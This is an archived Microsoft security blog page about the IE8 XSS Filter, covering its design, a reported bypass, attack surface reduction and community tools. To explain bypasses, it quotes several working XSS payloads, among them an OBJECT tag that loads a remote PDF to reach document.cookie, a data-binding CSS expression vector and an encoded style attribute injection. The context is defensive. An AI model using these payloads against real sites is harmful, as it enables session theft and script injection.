Welcome to MSDN Blogs Sign in | Join | Help

Good Bug

Credit goes to Alex "Kuza55" Kouzemtchenko for identifying a weakness in the XSS Filter OBJECT tag heuristic.  The original heuristic failed to properly sanitize OBJECT tags with the DATA attribute set.  Alex found that it is possible to use the DATA attribute to instantiate the PDF handler, then reference content to be loaded using a PARAM element.  This would load a remote PDF that would execute script in the context of the hosting page, effectively enabling XSS.

Example:
http://site.tld/foo.asp?FName=<object%20data=anything_at_all.pdf><param%20name=src%20value=http://othersite.tld/xss.pdf%20></param></object>

The PDF proof-of-concept contained:
getURL("vbscript:MsgBox document.cookie");

Thanks to Alex, we were able to address this bug for the IE8 final release.

The MSHTML (Trident) Host Security FAQ

I've posted a two-part FAQ addressing security considerations for apps that host MSHTML.  Check it out over at the SRD blog!

The MSHTML Host Security FAQ: Part I of II
The MSHTML Host Security FAQ: Part II of II

New webappsec tools

Chris Weber's Watcher: http://www.lookout.net/2009/03/20/watcher-security-tool-a-free-web-app-security-testing-and-compliance-auditing-tool/

Watcher plugs into the Fidder HTTP proxy and monitors for all sorts of web app vulns, from the common to the obscure.

Gareth Heyes' XSS Rays: http://www.thespanner.co.uk/2009/03/25/xss-rays/

XSS Rays runs in the browser as a bookmarklet and scans for XSS on demand.

IE8 is here!

http://www.microsoft.com/ie

What are you waiting for?  Go get it!

Posted by dross | 1 Comments
Filed under:

Video Roundup (Martin Johns and more!)

Recently I got Martin Johns connected with Helen Wang's group in Microsoft Research.  Check out Martin's excellent talk @MSR, Secure Code Generation for Web Applications.

Here are a few other gems I discovered on content.digitalwell.washington.edu:

Techniques and Tools for Engineering Secure Web Applications
Gary Wassermann, 3/13/2008

Improving Software Security with Precise Static and Runtime Analysis
Benjamin Livshits, 6/26/2006

End-to-end Security for Web Applications: A Language-based Approach
Nikhil Swamy, 4/1/2008

ABE

Giorgio Maone's new ABE project looks pretty cool.

Exposing the loose and often unnecessary boundaries between web applications shines a different light on some old problems in web application security.  Enforcing greater formalization and limiting the attack surface presented by these boundaries is a great thing.

Yeah, yeah, I know, Giorgio doesn't like us, etc..., whatever.  ;-)

XSSDS

Björn Engelmann, Joachim Posegga, and LocalRodeo developer Martin Johns have authored an excellent paper on a new Cross-site Scripting detection system called XSSDS.  Stay tuned to noxss.org for a new browser extension based on this technology.  The XSSDS approach is similar in some ways to the IE8 XSS Filter approach, although it's worth noting that until recently Martin's team had no knowledge of our work in this space (and vice versa).

IE8 Beta 2

If you haven’t already seen, Internet Explorer 8 Beta 2 is out – go get it!

Now is a good time to thank everyone who helped make the IE8 XSS Filter a reality.  This project wouldn’t have been possible without your hard work, support, leadership, guidance, brainstorming, pentesting, coding, and testing.

THANK YOU:

Zhenya and Joe  J

Keith Baston
Sarah Blankinship
Christopher Budd
Fergal Burke
Manuel Caballero
Tony Chor
Jeremy Dallman
Mark Debenham
Carl Edlund
Dave Forstrom
Michael Grady
Dean Hachamovitch
Robert “RSnake” Hansen
Yosuke Hasegawa
Damian Hasse
Ronald van den Heetkamp
Mario Heiderich
Matt Heller
Gareth Heyes
Michael Howard
Hidetake Jo
Dany Joly
Dan Kaminsky
Amit Klein
Kuza55
John Lambert
Eric Lawrence
David Lindsay
Steve Lipner
Spencer Low
Patrick Mann
Bronwen Matthews
Christian Matthies
Jack Mayo
Mark Miller
Katie Moussouris
Aviv Raff
Billy Rios
Harley Rosnow
Andrew Roths
Fermin J. Serna
Mark Shlimovich
Richard Shupak
Craig Spiezle
George Stathakopoulos
Cheng Peng Su
Matt Thomlinson
Jason Upton
Eduardo “sirdarckcat” Vela
Berend-Jan “SkyLined” Wever
Austin Wilson
Geng Yang

The IE Team
SWI

If I somehow managed to leave you out, please let me know.  

Now on to RTM!

IE 8 XSS Filter Architecture / Implementation revealed + some other news

I've just posted some detail on the Internet Explorer 8 XSS Filter Architecture / Implementation over on the SWI Blog.  It would be great to get some feedback and answer any questions you may have -- just drop me a mail using the Email link to the left.

In other news, Gareth Heyes has been spending some time testing the XSS Filter implementation.  Gareth has written up a post on the Bluehat blog about targeted fuzzing, specifically as applied to XSS.

And finally, it's worth mentioning that I'm now on Twitter!

IE8 XSS Filter design philosophy in-depth

It's great to see some positive reaction to the potential of our XSS Filter.  Now we just need to deliver!

In this blog post I’ll try to shed some light on our design philosophy.

To understand how we have arrived at our current filtering approach, it is useful to look back to the XSS Filter’s very beginnings.  Version 1.0 of the XSS Filter prototype, originally released within Microsoft back in 2002, provided users with the following (ugly!) prompt:

XSSFilter v1.0 UI

Clearly this is not something that everyday users would understand or find acceptable!  We needed to find a way to make the filtering automatic and painless and thus provide maximum benefit to users.

The approach we are taking today in Internet Explorer 8 doesn’t simply examine URL / POST data for evidence of XSS – it is capable of validating that an XSS attack has been replayed into the response.  Having identified the replayed XSS, we then have the capability to neuter the XSS on the page in a highly targeted fashion.  Thus, the XSS Filter can be effective without modifying an initial request to the server or blocking an entire response.

The detection of reflections hones our targeting as well – you can’t have “reflected XSS” without the reflection!

Our XSS Filter design goals do not equate success with blocking every conceivable attack technique.  Consider that a reported bug might fall into one of the following categories:

  1. Straightforward implementation flaws.

    Example:  A buffer overrun when a specially crafted URL is passed to the XSS Filter code.

    Any feature, the XSS Filter included, must consider this to be a severe vulnerability.

  2. Mechanisms to bypass the XSS Filter in the general sense.

    Example:  As the XSS Filter was being developed, we identified that URLs that including a %00 were processed by the XSS Filter in such a way that the %00 would decode to a null byte.  This would result in termination of the string we were using to process the URL.  A real attack could then pass through unfiltered after the null byte.

    To be successful, the XSS Filter must address any issue like this that thwarts its overall effectiveness.

  3. Mechanisms to bypass the XSS Filter’s protection for certain specific XSS attack scenarios.

    Example #1: Internet Explorer 7 will effectively ignore the high-bit of each character on a page in the US-ASCII character set.  So when a web page outputs a page in US-ASCII, or can be forced to do so, it was possible to bypass the XSS Filter by setting the high-bit on bytes in the querystring.  (This is resolved in Internet Explorer 8.)

    If we had not addressed this issue, the XSS Filter would be ineffective when the victim page used the US-ASCII character set (either by default or because it was forced).  This would be a serious limitation of the XSS Filter but ultimately it wouldn’t be a deal-breaker – for the growing majority of sites using Unicode the XSS Filter’s effectiveness would remain unchallenged.

    Example #2:  The XSS Filter would not be effective if a web app were to ROT13 decode data from the querystring before replaying it back to the client.  For attacks that depend on application-specific transformations, we will only attempt to make the XSS Filter effective where these transformations are identified to be pervasive.

    We choose not to ROT13 decode URLs.  :-)

  4. Specific new XSS attack vectors.

    Example:  The following use of data binding will result in the execution of script within IE:

    <xml id=cdcat><note><to>%26lt;span style=x:exp<![CDATA[r]]>ession(alert(3))%26gt;hello%26lt;/span%26gt;</to></note></xml><table border=%221%22 datasrc=%22%23cdcat%22><tr><td><span datafld=%22to%22 DATAFORMATAS=html></span></td></tr></table>

    Note there is no SCRIPT tag present.  There are many similar obscure script execution techniques present in all browsers.  These are often called “XSS attack vectors” and many such techniques are archived on RSnake’s cheat sheet.  The XSS Filter does handle this particular XSS attack vector.

    In the general case, we recognize the need to address additional new reflected (Type-1) XSS attack vectors as they are identified.

Observe the distinctions between the different bug categories listed above.  The most important takeaway is our level of pragmatism especially in category #3 above.  We will not be lead to compromise the XSS Filter’s web site compatibility by attempting to address every conceivable XSS attack scenario.

In summary, the XSS Filter will prove its worth by raising the bar and mitigating the types of XSS most commonly found across the web today, by default, for users of Internet Explorer 8.

IE8 goes on the offensive against XSS!

IE has announced the new XSS Filter feature which will debut in IE8 Beta 2!  Stay tuned to my blog in the coming weeks for more details on how the filter works, its history, its limitations, and some lessons learned during the development process.

Lead my team!

My team (SWI React) is hiring for a lead position.  Details:

Job Title: Lead Software Development Engineer
Job Category: Software Development
Product: Trustworthy Computing
Date Posted: 02/16/2008
Job Code: 223577
Location: WA - Redmond
Travel Required: 
 
Do you consider yourself a hacker? Is breaking code a passion? And more importantly, can you teach others how to leverage your thinking? Microsoft’s SWI React team is looking for a someone to lead an elite group of hackers on a mission to protect 440 million people from software vulnerabilities. As the Lead Security Software engineer, you will utilize both your world-class code hacking skills and passion for leading teams as you help deliver a superior, trustworthy set of products to our customers. You will be responsible for analyzing and performing penetration testing on all externally reported vulnerabilities across Microsoft’s diverse product base. To be considered for this position you must have:
     Passion for trustworthy computing & software security
     Ability to stay up to date and adapt to the ever evolving security ecosystem
     Proven people management skills with initiative around growing others
     Experience with organizational goal setting & KPI measurement
     Strong cross group collaboration capabilities - up, down and across.
     Deep customer and partner focus with the willingness to improve offerings and workflow
     Knowledge of common hacking/network tools, exploit writing, networking, cryptography, penetration testing, assembler is a plus.

 

Posted by dross | 0 Comments

XSS-Focused Attack Surface Reduction

All web browsers expose what have been referred to as XSS “attack vectors” – various techniques that XSS attacks can leverage to achieve script execution.  The best and most well regarded list of these behaviors is RSnake’s XSS Cheat Sheet.

The existence of these attack vectors can at minimum present a challenge to filters and other technologies which attempt to block XSS.  But more fundamentally, XSS attack vectors enable XSS bugs that would not otherwise exist.  This is the essential argument for what I term XSS-Focused Attack Surface Reduction.

Let’s explore one example.

Finding a useful reflected XSS bug usually involves identifying a server that will replay data from a URL which is then interpreted by the browser as script.  Often constraints are placed on how the attack must be constructed.  This can result from ineffective filtering that has been put in place or simply due to incidental non-security related filtering at the server.

Here is a simple example attack URL:

http://[server]/[path]/[file].asp?id=70-305zzz<script>alert();</script>

The script element in the URL is injected into the server’s HTTP response as valid HTML.  This vulnerability was addressed with server-side validation.  However, the following variation was later identified, demonstrating the validation to be insufficient:

http://[server]/[path]/[file].asp?id=70-305zzz+"+style="background-position-x:expression\0028\0065\0076\0061\006C\0028\0061\006C\0065\0072\0074\0028\0027pwn3d\0027\0029\0029\0029

This variation makes use Internet Explorer's support for Dynamic Properties.  The character sequence at the end of the URL is an encoded block of Javascript.  While the validation put into place at the server prevents an element from being closed off with a greater-than symbol, it does not prevent the addition of a new STYLE attribute on the element which can contain a Dynamic Property that Internet Explorer will then execute.

The idea of XSS-Focused Attack Surface Reduction is that we can view each instance of XSS as having been enabled by one of a finite number of XSS attack vectors existing in the browser.  Then we can look at ways to regulate each of those vectors in order to reduce the browser's susceptibility to XSS.

In this example above, the vector is a behavior exposed by the Dynamic Properties feature.  The Dynamic Properties feature provides real value as a feature in the browser, so it’s difficult to perform XSS-Focused Attack Surface Reduction without serious compatibility impact.  It’s something we have been looking at closely though.

Fortunately, it turns out that in many cases XSS attack vectors are incidental behavior unlikely to be put to use by legitimate web content.  In these cases, XSS-Focused Attack Surface Reduction becomes much more feasible. 

In Internet Explorer 7, an effort was made to reduce vulnerabilities involving the use of the special “javascript:” and “vbscript:” URL syntax.  Specifically, these URLs were disabled in some contexts.  This actually wasn’t intended to mitigate XSS per-se, but it was in fact an effective instance of XSS-Focused Attack Surface Reduction.  This is because the use of javascript:/vbscript: URLs in unusual places such as IMG or EMBED tags often enabled XSS where it wouldn’t otherwise be possible.  It was great to see that after we released IE7, RSnake noticed the change and updated his cheat sheet.

Essentially, the change described above translates to one less tool available in the XSS exploit author’s toolbox.  This is what XSS-Focused Attack Surface Reduction strives to achieve.

I’m happy to report that IE8 is delivering additional XSS-Focused Attack Surface Reduction goodness.  For Beta 1 you will notice a small but notable step forward – the US-ASCII XSS attack vector has now been closed.  RSnake, feel free to update your cheat sheet once again.  J

The Kill-Bit FAQ - Part 1 of 3 posted to SVRD blog

Check out my ActiveX Kill-Bit FAQ which is now being posted to the SVRD blog.  There are three parts, the first of which is now live.  Parts two and three should be up by the end of the week.

More Posts Next page »
 
Page view tracker